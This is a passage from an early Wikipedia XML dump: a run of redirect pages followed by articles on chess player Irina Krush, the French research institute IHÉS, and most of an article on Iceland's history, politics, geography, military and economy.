      <timestamp>2002-08-03T16:43:29Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>fixed borken redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Trantor]]</text>
    </revision>
  </page>
  <page>
    <title>IsaacAsimov/FoundationAndEarth</title>
    <id>14509</id>
    <revision>
      <id>15912055</id>
      <timestamp>2002-08-03T16:43:49Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>fixed borken redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Foundation and Earth]]</text>
    </revision>
  </page>
  <page>
    <title>IsaacAsimov/RobotBooks</title>
    <id>14510</id>
    <revision>
      <id>15912056</id>
      <timestamp>2002-08-03T16:44:24Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>fixed borken redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Isaac Asimov's Robot Series]]</text>
    </revision>
  </page>
  <page>
    <title>IsaacAsimov/GalacticEmpireBooks</title>
    <id>14511</id>
    <revision>
      <id>15912057</id>
      <timestamp>2002-08-03T16:45:42Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>fixed borken redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Isaac Asimov's Galactic Empire Series]]</text>
    </revision>
  </page>
  <page>
    <title>IgnoreAllRulesDebate</title>
    <id>14512</id>
    <revision>
      <id>15912058</id>
      <timestamp>2002-10-10T17:23:10Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[wikipedia talk:Ignore all rules]]</comment>
      <text xml:space="preserve">#REDIRECT [[wikipedia talk:Ignore all rules]]</text>
    </revision>
  </page>
  <page>
    <title>IntelliGence</title>
    <id>14513</id>
    <revision>
      <id>24978425</id>
      <timestamp>2005-10-07T14:32:41Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Intelligence]]</text>
    </revision>
  </page>
  <page>
    <title>IndianapolisColts</title>
    <id>14514</id>
    <revision>
      <id>15912060</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Indianapolis Colts]]
</text>
    </revision>
  </page>
  <page>
    <title>IndependentS</title>
    <id>14515</id>
    <revision>
      <id>23733370</id>
      <timestamp>2005-09-22T06:20:32Z</timestamp>
      <contributor>
        <username>Josh Parris</username>
        <id>201578</id>
      </contributor>
      <minor />
      <comment>-dbl redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Independent]]</text>
    </revision>
  </page>
  <page>
    <title>InterpretingStatisticalData</title>
    <id>14516</id>
    <revision>
      <id>15912062</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Statistical inference]]
</text>
    </revision>
  </page>
  <page>
    <title>ImpreciseLanguage</title>
    <id>14517</id>
    <revision>
      <id>15912063</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Imprecise language]]
</text>
    </revision>
  </page>
  <page>
    <title>IndustrY</title>
    <id>14518</id>
    <revision>
      <id>15912064</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Industry]]
</text>
    </revision>
  </page>
  <page>
    <title>IndustrY/TertiarySector</title>
    <id>14519</id>
    <revision>
      <id>15912065</id>
      <timestamp>2002-10-10T21:41:01Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <minor />
      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Industry]]</text>
    </revision>
  </page>
  <page>
    <title>IndustrY/PrimarySector</title>
    <id>14520</id>
    <revision>
      <id>15912066</id>
      <timestamp>2002-10-10T21:41:30Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <minor />
      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Industry]]</text>
    </revision>
  </page>
  <page>
    <title>IndustrY/SecondarySector</title>
    <id>14521</id>
    <revision>
      <id>15912067</id>
      <timestamp>2002-10-10T23:06:30Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Secondary sector of industry]]</text>
    </revision>
  </page>
  <page>
    <title>InflatioN</title>
    <id>14522</id>
    <revision>
      <id>15912068</id>
      <timestamp>2003-06-06T01:39:43Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Inflation]]</text>
    </revision>
  </page>
  <page>
    <title>Isolated physical system</title>
    <id>14523</id>
    <revision>
      <id>28811831</id>
      <timestamp>2005-11-20T06:37:52Z</timestamp>
      <contributor>
        <username>Fresheneesz</username>
        <id>247097</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Closed system]]</text>
    </revision>
  </page>
  <page>
    <title>Inflation (economics)</title>
    <id>14524</id>
    <revision>
      <id>15912070</id>
      <timestamp>2003-05-27T20:02:24Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <comment>Moved to Inflation. Note that the history of this page is now actually the history of the page &quot;Inflation&quot;; the actual history of &quot;Inflation (economics)&quot; has been moved to &quot;Inflation&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Inflation]]</text>
    </revision>
  </page>
  <page>
    <title>Independents</title>
    <id>14525</id>
    <revision>
      <id>22230536</id>
      <timestamp>2005-08-31T05:53:09Z</timestamp>
      <contributor>
        <username>Josh Parris</username>
        <id>201578</id>
      </contributor>
      <comment>Better to go for the root word</comment>
      <text xml:space="preserve">#redirect [[Independent]]</text>
    </revision>
  </page>
  <page>
    <title>Irina Krush</title>
    <id>14526</id>
    <revision>
      <id>38207268</id>
      <timestamp>2006-02-04T22:32:26Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">[[Image:Krush0301_160.jpg|thumb|right|250px|Irina Krush at the 2003 U.S. Chess Championships in Seattle, Washington]]

'''Irina Krush''' (b. [[December 24]], [[1983]]) is an [[United States|American]] [[chess]] player. Born in [[Odessa]], [[Soviet Union|USSR]] (now [[Ukraine]]), she is widely known for her series of chess training videos, the &quot;Krushing Attacks&quot; series.

Krush learned to play chess at age five, emigrating with her parents to [[Brooklyn]] that same year ([[1989]]).
At age 14 Krush won the [[1998]] [[US Women's Chess Championship]] to become the youngest U.S. Women's Champion ever.  She holds the title of [[International Master]] (IM) and has one of three tournament results (norms) necessary to qualify for the [[International Grandmaster]] (GM) title.  In the April 2005 list, Krush had a [[Elo rating system|FIDE Rating]] of 2455, 25th best among active female players.

Krush gained a measure of fame both inside and outside chess circles during the well-publicized &quot;[[Kasparov versus The World]]&quot; chess competition in [[1999]].  [[Garry Kasparov]] played the white pieces and the Internet public, via a [[Microsoft]] host website, voted on moves for the black pieces, guided by the recommendations of Krush and three other young chess experts.  On the tenth move, Krush suggested a stunning novelty, for which the World Team voted.  Kasparov said later that he lost control of the game at that point, and wasn't sure whether he was winning or losing.

In addition to discovering a new move, Krush displayed great patience, tact, and generosity while participating in the bulletin board discussion of the game.  Due to her social skill and tireless work on behalf of the World Team, she gradually became the focus of all the team's analytical efforts.  The analysis tree she maintained gained considerable authority, and the recommendations therein were chosen by the team for more than forty consecutive moves.  Even grandmasters rated considerably higher than her began making primary reference to her analysis tree.

Thanks to Krush's efforts, the team worked in a more coordinated fashion than in any Internet game before or since.  Unfortunately, on the 58th move, her recommendation was inexplicably delayed from appearing on the [[MSN]] website, and the team voters chose an objectively weaker move.  Microsoft denied any failure on their part.  Kasparov later published a &quot;forced win&quot; even against the better move proposed by Krush, and while computer analysis subsequently showed that his position was indeed won, it also showed that his analysis contained errors which would have allowed a draw, had he not discovered the mistakes in time.

Controversy aside, the game was a splendid brawl, and the outcome was in doubt for more than fifty moves.  Kasparov had high praise for the World Team, and said that the game required more sustained effort from him than any other event in which he has participated, including preparing for World Championship matches.  Irina's [[endgame]] analysis pushed back the frontiers of KQP vs KQP endgame knowledge, and her opening novelty has forced grandmasters to abandon Kasparov's opening line in favor of a different move order.

==External links==
*{{fide|id=2012782|name=Irina Krush}}
*[http://www.smartchess.com/SmartChessOnline/default.htm SmartChess Online] maintains an extensive Web page tracking Krush's career.
*[http://www.wtharvey.com/krus.html 15 Winning Combinations from Her Games]

[[Category:1983 births|Krush, Irina]]
[[Category:Living people|Krush, Irina]]
[[Category:American chess players|Krush, Irina]]
[[Category:Chess woman grandmasters|Krush, Irina]]

[[nl:Irina Krush]]</text>
    </revision>
  </page>
  <page>
    <title>Institut des Hautes Études Scientifiques</title>
    <id>14527</id>
    <revision>
      <id>39185810</id>
      <timestamp>2006-02-11T08:22:51Z</timestamp>
      <contributor>
        <ip>71.141.234.189</ip>
      </contributor>
      <comment>m translate name - please check</comment>
      <text xml:space="preserve">[[Image:IHES_main_building.jpg|thumbnail|IHÉS main building]]
The '''Institut des Hautes Études Scientifiques''' ('''I.H.É.S.''', en: Institute of Advanced Scientific Studies) is a [[France|French]] institute supporting advanced research in [[mathematics]] and [[theoretical physics]]. It is located in [[Bures-sur-Yvette]] just south of [[Paris]]. 

The IHÉS, founded in 1958 by businessman and mathematician [[Léon Motchane]] with the help of [[Robert Oppenheimer]] and [[Jean Dieudonné]], aims to bring together top researchers in the field. It has a small number of permanent professors, appointed for life, and invites about 200 visitors a year for varying terms averaging three months. It also has a small number of so-called long-term visitors. Research is not contracted or directed: it is left to each individual researcher to pursue their own goals. Permanent professors are only required to be in residence six months a year.

Design of the IHÉS is said to be influenced by Robert Oppenheimer, who was then the Director of the [[Institute for Advanced Study]] in Princeton. The strong personality of [[Alexandre Grothendieck]] and the broad sweep of his revolutionizing theories were a dominating feature of the first ten years at the IHÉS. [[René Thom]] was another prominent figure in its early history. [[Dennis Sullivan]] is remembered as one who had a special talent for encouraging fruitful exchanges among visitors and provoking a new and deeper insight into their ideas.

The IHÉS runs a highly regarded mathematical journal, [[Publications Mathématiques de l'IHÉS]].

The Directors of the IHÉS in chronological order: Léon Motchane (1958&amp;ndash;71), [[Nicolaas Kuiper]] (1971&amp;ndash;85), [[Marcel Berger]] (1985&amp;ndash;94), [[Jean-Pierre Bourguignon]] (1994&amp;ndash;now).

Some of the top mathematicians who were or are now permanent professors at the IHÉS include [[Alexandre Grothendieck]], [[Jean Bourgain]], [[Alain Connes]], [[Pierre Deligne]], [[René Thom]], [[Pierre Cartier]], [[Mikhail Gromov]] and [[Maxim Kontsevich]].

== External links ==
* Home page: http://www.ihes.fr


[[Category:Mathematical institutes]]

[[de:Institut des Hautes Études Scientifiques]]
[[fr:Institut des hautes études scientifiques]]
[[ja:IHÉS]]
[[ko:IHÉS]]</text>
    </revision>
  </page>
  <page>
    <title>Interpreting Statistical Data</title>
    <id>14528</id>
    <revision>
      <id>15912074</id>
      <timestamp>2002-03-13T08:25:07Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <minor />
      <comment>Fix broken redirect. Should redirect ignore whitespace after the link?</comment>
      <text xml:space="preserve">#REDIRECT [[Statistical inference]]</text>
    </revision>
  </page>
  <page>
    <title>Interpreting statistical data</title>
    <id>14529</id>
    <revision>
      <id>15912075</id>
      <timestamp>2002-04-18T19:59:02Z</timestamp>
      <contributor>
        <username>AstroNomer</username>
        <id>94</id>
      </contributor>
      <minor />
      <comment>change redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Statistical inference]]
</text>
    </revision>
  </page>
  <page>
    <title>Interquartile Range</title>
    <id>14530</id>
    <revision>
      <id>15912076</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Interquartile range]]
</text>
    </revision>
  </page>
  <page>
    <title>Iceland</title>
    <id>14531</id>
    <revision>
      <id>41982291</id>
      <timestamp>2006-03-03T00:59:14Z</timestamp>
      <contributor>
        <username>Palthrow</username>
        <id>391104</id>
      </contributor>
      <comment>/* History */ Added Sturlungaöld</comment>
      <text xml:space="preserve">:''For the chain of supermarkets in the United Kingdom and Ireland, see [[Iceland (supermarket)]]''

{| border=1 align=right cellpadding=4 cellspacing=0 width=350 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;'''Lýðveldið Ísland'''&lt;/big&gt;
| align=&quot;center&quot; colspan=&quot;2&quot;|
{| border=0 cellpadding=2 cellspacing=0 style=&quot;background:#f9f9f9; text-align:center;&quot;
| width=&quot;130px&quot;| [[Image:Flag of Iceland.svg|125px|Flag of Iceland]] || align=center width=130px| [[Image:Coat of Arms of Iceland.png|120px|Iceland: Coat of Arms]]
|-
| width=&quot;150px&quot;| ([[Flag of Iceland|In Detail]])
| width=&quot;200px&quot;| ([[Coat of Arms of Iceland|In Detail]])
|}
|-
| align=center colspan=2 | &lt;small&gt;''National [[motto]]: None''&lt;/small&gt;
|-
| align=center colspan=2 style=&quot;background:#f9f9f9;&quot; | [[image:LocationIceland.png|Location of Iceland]]
|-
|'''[[Official language]]''' || [[Icelandic language|Icelandic]]
|-
|'''[[Capital]] and largest city''' || [[Reykjavík]]
|-
|'''[[List of Presidents of Iceland|President]]''' || [[Ólafur Ragnar Grímsson]]
|-
|'''[[List of Prime Ministers of Iceland|Prime Minister]]''' || [[Halldór Ásgrímsson]]
|-
|'''[[Area]]'''&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
|[[List of countries by area|Ranked 107th]]&lt;br&gt;[[1 E11 m²|103,000 km²]] &lt;br&gt;2.70%
|-
|'''[[Population]]'''&lt;br&gt;&amp;nbsp;- Total ([[January 9]] [[2006]])&lt;br&gt;&amp;nbsp;- [[Population density|Density]]
|[[List of countries by population|Ranked 169th]]&lt;br&gt;300,000&lt;br&gt;2.91/km²
|-
|'''[[Independence]] (from [[Denmark]])'''&lt;br&gt;&amp;nbsp;- Sovereignty&lt;br&gt;&amp;nbsp;- Republic
|&lt;br&gt;[[1 December]] [[1918]]&lt;br&gt;[[17 June]] [[1944]]
|-
|'''[[Gross Domestic Product|GDP]]''' (2003)&lt;br&gt;&amp;nbsp; - Total (PPP)&lt;br&gt;&amp;nbsp; - Total&lt;br&gt;&amp;nbsp; - GDP/capita (PPP)&lt;br&gt;&amp;nbsp; - GDP/capita
|&lt;br&gt;$9 billion ([[List of countries by GDP (PPP)|127th]]) &lt;br/&gt; $15 billion ([[List of countries by GDP (nominal)|87th]])&lt;br&gt;$35,686 ([[List of countries by GDP (PPP) per capita|5th]])&lt;br&gt;$52,063 ([[List of countries by GDP (nominal) per capita|4th]])
|-
| '''[[Human Development Index|HDI]]''' (2003) || 0.956 ([[List of countries by Human Development Index|2nd]]) – &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt; 
|-
|'''[[Currency]]''' || [[Icelandic króna]] (ISK)
|-
| '''[[Time zone]]'''&lt;br&gt;&amp;nbsp;- year round
| [[Greenwich Mean Time|GMT]] ([[Coordinated Universal Time|UTC]]+0)
|-
| '''[[National anthem]]''' || ''[[Lofsöngur]]''
|-
| '''[[Top-level domain|Internet TLD]]''' || [[.is]]
|-
| '''[[List of country calling codes|Calling Code]]''' || +354
|-
|}

'''Iceland''', officially the '''Republic of Iceland''' ([[Icelandic language|Icelandic]]: ''Ísland'' or ''Lýðveldið Ísland'') is a [[borderless country]], a volcanic island in the northern [[Atlantic Ocean]] between [[Greenland]], [[Norway]], [[Ireland]], [[Scotland]] and [[Faroe Islands|The Faroe Islands]].

== History ==
{{main|History of Iceland}}

Iceland was one of the last large islands uninhabited by humans until it was discovered and settled by immigrants from [[Scandinavia]] and from [[Ireland]] and [[Scotland]] during the 9th and 10th centuries. [[Íslendingabók]] (''Libellus Islandorum''), written in 1122-1133 claims that the Norwegian Ingólfur Arnarson was the first man to settle in Iceland ([[Reykjavík]]) in 870. The families were accompanied by servants and slaves, some of whom were [[Celt]]s or [[Picts]] from Scotland and Ireland (known as ''Westmen'' to the [[Norse]]). Some literary evidence suggests that [[Papar|Irish monks]] may have been living in Iceland before the arrival of Norse settlers, but no archaeological evidence has been found.

[[Erik the Red]], or Eirikr Þorvaldson, was exiled from Iceland for manslaughter in 980, and set sail for the west, to explore the lands to the west. He established the first settlements in [[Greenland]] around this time, naming the land, according to legend, to attract settlers. 
Eirikr's son, [[Leif Ericson|Leifr Eiriksson]], finally set foot in the Americas around the year 1000. While some say he was blown off course, it is most likely that he was deliberately seeking the land spotted by [[Bjarni Herjólfsson]] several years earlier. He is believed to have established a colony at [[L'Anse aux Meadows]] in [[Newfoundland]], which lasted only a year. Two further attempts at colonization by his brother ended in failure.

The [[Althing|Alþingi]] (general assembly) was founded in 930, marking the beginning of the [[Icelandic Commonwealth]]. It was the predecessor to the modern Icelandic legislature. The Althing is the oldest, still-standing, parliament in the world that has written documents to prove its age. 

Iceland was a free state, without a king, until the end of the [[Sturlungaöld]] civil war in 1262, when it joined the Norwegian kingdom as a Norwegian [[colony]].  From 1387 Iceland was in practice ruled by Denmark, following the union of the two kingdoms. When that union was dissolved in 1814, through the [[Treaty of Kiel]], which saw Norway entering a union with Sweden, Iceland became a Danish colony. Home rule was granted by the Danish government in 1904, and independence followed in 1918. From 1918 Iceland was in a [[personal union]] with Denmark, with foreign relations being carried out by the Danes, as instructed by the Icelandic government until the [[World War II]] military occupation of Denmark by Germany in 1940. Subsequently, Iceland was occupied by the [[Allies]]. The Danish king remained the ''de jure'' sovereign of the nation until 1944, when the current [[republic]] was founded after the 1918 treaty had lapsed.

The new republic became a charter member of [[NATO]] in 1949 and signed a treaty with the [[United States]] in 1951 to take responsibility for the defense of Iceland. Today the US continues to operate a military base in [[Keflavík]] based on this agreement, while Iceland has no armed forces of its own. The economy of Iceland remained dependent on fisheries in the post-war decades and the country has had several clashes with its neighbours over this vital resource, most notably the [[Cod Wars]] with the [[United Kingdom|British]]. The economy has become more diverse recently owing to large investments in heavy industry such as [[aluminium]] smelting and deregulation and privatization in the financial sector. Iceland is a member of the [[Common market]] of the [[European Union|European Union]] through the [[European Economic Area|EEA agreement]] but has never applied for membership of the EU itself.

== Politics ==
{{main|Politics of Iceland}}
[[Image:ogrimsson.jpg|thumb|150px|right|[[Ólafur Ragnar Grímsson]], President of Iceland]]
[[Image:HalldórÁsgrímsson.jpg|thumb|left|[[Halldór Ásgrímsson]], Prime Minister of Iceland]]

The modern parliament, called &quot;[[Althing]]&quot; or &quot;Alþingi&quot;, was founded in 1845 as an advisory body to the Danish king. It was widely seen as a reestablishment of the assembly founded in 930 in the [[Icelandic Commonwealth|Commonwealth]] period and suspended in 1799. It currently has 63 members, each of whom is elected by the population every four years. The [[president of Iceland]] is a largely ceremonial office that serves as a diplomat, figurehead and [[head of state]]. The [[head of government]] is the prime minister, who, together with the cabinet, takes care of the executive part of government. The cabinet is appointed by the president after general elections to Althing; however, this process is usually conducted by the leaders of the political parties, who decide among themselves after discussions which parties can form the cabinet and how its seats are to be distributed (under the condition that it has a majority support in Althing). Only when the party leaders are unable to reach a conclusion by themselves in reasonable time does the president exercise this power and appoint the cabinet himself. This has never happened since the republic was founded in 1944, but in 1942 the regent of the country ([[Sveinn Björnsson]], who had been installed in that position by the Althing in 1941) did appoint a non-parliamentary government. The regent had, for all practical purposes, the position of a president, and Björnsson in fact became the country's first president in 1944. The governments of Iceland have almost always been coalitions with two or more parties involved, due to the fact that no single political party has received a majority of seats in Althing in the republic period. The extent of the political powers possessed by the office of the president are disputed by legal scholars in Iceland; several provisions of the constitution appear to give the president some important powers but other provisions and traditions suggest differently.

The president is elected every four years (last 2004), the cabinet is elected every four years (last 2003) and town council elections are held every four years (last 2002).

===See also===
* [[List of political parties in Iceland]]
* [[List of Presidents of Iceland]]
* [[Prime minister of Iceland]]

== Subdivisions ==
{{main|Subdivisions of Iceland}}
[[Image:Municipalities of Iceland.png|right|thumb|100px|The municipalities of Iceland]]

=== Municipalities ===
{{main|Municipalities of Iceland}}

There are 98 municipalities in Iceland which govern most local matters like schools, transportation and zoning.

=== Counties ===
{{main|Counties of Iceland}}
[[Image:Counties of Iceland with county seats.PNG|right|thumb|100px|The administrative counties of Iceland]]
Iceland's 23 counties are for the most part historical divisions. Currently, Iceland is split up between 26 magistrates that represent government in various capacities. Among their duties are local police (except in Reykjavík, where there is a special office of police commissioner) tax collection, declaring bankruptcy and marrying people outside of the church.

=== Regions ===
{{main|Regions of Iceland}}
[[Image:Regions of Iceland english.png|right|thumb|100px|The regions of Iceland]]
There are eight regions which are primarily used for statistical purposes; the district court jurisdictions also use an older version of this division.

=== Constituencies ===
{{main|Constituencies of Iceland}}
Until 2003, the constituencies for the parliament elections were the same as the regions, but by an amendment to the constitution they were changed to the current six constituencies. The change was made in order to balance the weight of different districts of the country since a vote cast in the sparsely populated areas around the country would count much more than a vote cast in the Reykjavík city area. The imbalance between districts has been reduced by the new system, but still exists.

== Geography ==
[[Image:Ic-map.png|frame|thumb|right|200px|Map of Iceland]] 
:''Main articles: [[Geography of Iceland]] and [[List of settlements in Iceland]].''

Iceland is located in the North Atlantic Ocean just south of the [[Arctic Circle]], which passes through the small island of [[Grimsey]] off Iceland's northern coast, but not through mainland Iceland. Unlike neighbouring [[Greenland]], Iceland is considered to be a part of [[Europe]], not a part of [[The Americas|North America]]. The island is the [[List of islands by size|world's 18th largest island]].

Approximately 10 percent of the island is glaciated. Many [[fjord]]s punctuate its 4,970 km long coastline, which is also where most towns are situated because the island's interior, the [[Highlands of Iceland]], is a cold and uninhabitable desert. The major towns are the capital [[Reykjavík]], [[Keflavík]], where the national airport is situated, and [[Akureyri]]. The island of [[Grímsey]] on the [[Arctic Circle]] contains the northernmost habitation of Iceland. 

Iceland has four national parks: [[Jökulsárgljúfur National Park]], [[Skaftafell National Park]], [[Snæfellsnes National Park]], and [[Þingvellir]] 

===Geological and volcanic activity===
Iceland is located on both a geological [[Hotspot (geology)|hot spot]], thought to be caused by a [[mantle plume]], and the [[Mid-Atlantic Ridge]]. This combined location means that the island is extremely geologically active, having many [[volcano]]es, notably [[Hekla]], and [[geyser]]s (itself an Icelandic word). With this widespread availability of [[geothermal power]], and also because of the numerous rivers and waterfalls that are harnessed for hydropower, residents of most towns have hot water and home heat for a low price. The island itself is composed primarily of cooled basalt lava. 

'''[[Volcanoes of Iceland]]'''

===Area===
* Whole country: 103,000 km²
* Vegetation: 23,805 km²
* Lakes: 2,757 km²
* Glaciers: 11,922 km²
* Wasteland: 64,538 km²
''Numbers are from the [http://www.lmi.is/landsurvey.nsf/pages/index.html National Land Survey of Iceland'']
[[Image:Low_pressure_system_over_Iceland.jpg|thumb|right|150px|A large [[low pressure area]] swirls off the southwestern coast of Iceland. September 4, 2003]]

===Largest lakes===
* [[Þórisvatn]] ([[Reservoir (water)|Reservoir]]): 83-88 km²
* [[Þingvallavatn]]: 82 km²
* [[Lögurinn]]: 53 km²
* [[Mývatn]]: 37 km²
* [[Hvítárvatn]]: 30 km²
* [[Hópið]]: 30 km²
* [[Langisjór]]: 26 km²
''Numbers are from the [http://www.lmi.is/landsurvey.nsf/pages/index.html National Land Survey of Iceland'']
[[Image:Iceland-from-space.png|thumb|right|300px|Iceland, as seen from space.]]

===Deepest lakes===
* [[Öskjuvatn]]: 220 m
* [[Hvalvatn]]: 160 m
* [[Jökulsárlón]] in [[Breiðamerkursandur]]: 150 m
* [[Þingvallavatn]]: 114 m
* [[Þórisvatn]] ([[Reservoir (water)|Reservoir]]): 113 m
* [[Lögurinn]]: 112 m
* [[Kleifarvatn]]: 97 m
* [[Hvítárvatn]]: 84 m
* [[Langisjór]]: 75 m
''Numbers are from the [http://www.lmi.is/landsurvey.nsf/pages/index.html National Land Survey of Iceland'']

===Distance to nearest countries===
[[Image:MidatlanticRidge.jpg|thumb|right|The midatlantic ridge, which runs the length of the Atlantic Ocean, is visible above water in Iceland.]]
* [[Greenland]]: 287 km
* [[Faroe Islands]]: 420 km
* [[Jan Mayen]]: 550 km
* [[Scotland]]: 798 km
* [[Norway]]: 970 km
''Numbers are from the [http://www.lmi.is/landsurvey.nsf/pages/index.html National Land Survey of Iceland'']

===See also===
* [[Fjords of Iceland]]
* [[Lakes of Iceland]]
* [[National parks of Iceland]]
* [[Rivers of Iceland]]
* [[Volcanoes of Iceland]]
* [[Waterfalls of Iceland]]
* [[Iceland plume]]

== Military ==
{{main|Military of Iceland}}

The Republic of Iceland has no regular armed forces. Defense is provided by a predominantly US-manned [[NATO]] base in [[Miðnesheiði]] near [[Keflavík]]. Iceland has a [[Icelandic Coast Guard| Coast Guard]] (''Landhelgisgæslan'') and an [[anti-terrorism]] team (similar to [[SWAT team]]s) named ''Sérsveit Ríkislögreglustjóra'' (English: &quot;The [[Special Operations]] Task Force of the National Commissioner of the Icelandic Police&quot;), commonly referred to as ''Víkingasveitin'' (The Viking Team or Viking squad). 

===Landhelgisgæslan===
The [[Icelandic Coast Guard]] originates back to the 1920s. Its main tasks from its initiation have been to protect Iceland's most valuable natural resource—its fishing areas—as well as provide security, search, and rescue services to Iceland's fishing fleet. In 1952, 1958, 1972, and 1975, the government expanded Iceland's exclusive economic zone to 4, 12, 50 and 200 nautical miles respectively. This led to Iceland's conflict with the United Kingdom, known as the &quot;[[Cod War]]s&quot;.  The Icelandic Coast Guard and the Royal Navy confronted each other on several occasions during these years. Although few rounds were fired, there were many intense moments between the two nations. The Captains of the Icelandic Coast Guard ships were regarded as heroes and earned their names in the history of Iceland as Iceland's bravest men. This attitude of heroism towards the Coast Guard persists in Iceland.

===Sérsveit Ríkislögreglustjóra===
[[Image:Vik.GIF|thumb|right|150px|Special forces exercise in downtown [[Reykjavík]].]] 
The Special Operations Unit of the National Commissioner of the Icelandic Police, [[Víkingasveitin]], is similar to Germany's [[GSG 9]] and Britain's [[Special Air Service|SAS]], a small and well trained group of operatives. The unit handles security of the state, anti/counter-terrorism projects, security of foreign dignitaries, as well supporting the police forces in the country when needed. The Viking team has five main squadrons: Bomb Squadron that specializes in explosives; Boat Squadron that specializes in operations on sea and water, diving and underwater warfare, and boat operations; Sniper Squadron that specializes in sniper warfare, entries, and close target reconnaissance; Intelligence Squadron that specializes in anti-terrorism intelligence, surveillance, and infiltration; and Airborne Squadron that specializes in airplane hijacking operations, skydiving and surprise assault operations, and port security. Members of the Viking team were deployed in the Balkans as a part of operations lead by NATO, and some members have been deployed to Afghanistan. The Special Operations Unit used to be under the command of the Reykjavík Chief of Police; however, in 2004, a new law was passed that put the Viking Team directly under the National Commissioner of the Icelandic Police.

== Economy ==
{{main|Economy of Iceland}}

Iceland is one of the ten richest countries in the world based on [[List of countries by GDP (PPP) per capita|GDP per capita]] at [[purchasing power parity]]. The [[economics|economy]] historically depended heavily on the [[fishing]] industry, which still provides almost 40% of export earnings and employs 8% of the work force. In the absence of other [[natural resources]] (except for abundant [[hydroelectricity|hydro-electric]] and [[geothermal]] power), Iceland's economy is vulnerable to changing world [[fish]] prices. The economy remains sensitive to declining fish stocks as well as to drops in world prices for its main material exports: fish and fish products, [[aluminium]], and [[ferrosilicon]]. Although the Icelandic economy still relies heavily on fishing it is constantly becoming less important as the travel industry and other service industries, the technology industry, energy intensive industries and various other industries grow.

The centre-right government plans to continue its policies of reducing the budget and current account deficits, limiting foreign borrowing, containing inflation, revising agricultural and fishing policies, diversifying the economy, and privatising state-owned industries. The government remains opposed to [[EU]] membership, primarily because of Icelanders' concern about losing control over their fishing resources.

Iceland's economy has been diversifying into manufacturing and service industries in the last decade, and new developments in [[software]] production, [[biotechnology]], and financial services are taking place. The [[tourism]] sector is also expanding, with the recent trends in [[ecotourism]] and [[whale]]-watching. Growth slowed between 2000 and 2002, but the economy expanded by 4.3% in 2003 and grew by 6.2% in 2004. The unemployment rate of 1.8% (3rd quarter of 2005) is among the lowest in the [[European Economic Area]].

Over 99% of the country's electricity is produced from [[hydropower]] and [[geothermal energy]].

===See also===
* [[Geothermal power in Iceland]]
* [[Hydrogen economy#Examples|Iceland and its future hydrogen economy]]

== Demographics ==
{{main|Demographics of Iceland}}

The original population of Iceland was of Nordic and Celtic origin. This is evident by literal evidence from the settlement period as well as from later scientific studies such as [[blood type]] and [[genetics]] analysis. One such genetics study has indicated that the majority of the male settlers were of Nordic origin while the majority of the women were of Celtic origin (Am. J. Hum. Genet, 2001). The modern population of Iceland is often described as a  &quot;homogeneous mixture of descendants of Norse and Celts&quot; (The CIA World Factbook) but several history scholars reject the alleged homogeneity as a myth that fails to take into account the fact that Iceland was never isolated from the rest of Europe and actually has had a lot of contact with traders and fishermen from many nations through the ages.

Iceland has extensive medical and genealogical records about its population dating back to the age of settlement. Although the accuracy of these records is debated, biopharmaceutical companies such as [[deCODE Genetics]] see them as a valuable tool for conducting research on genetic diseases.

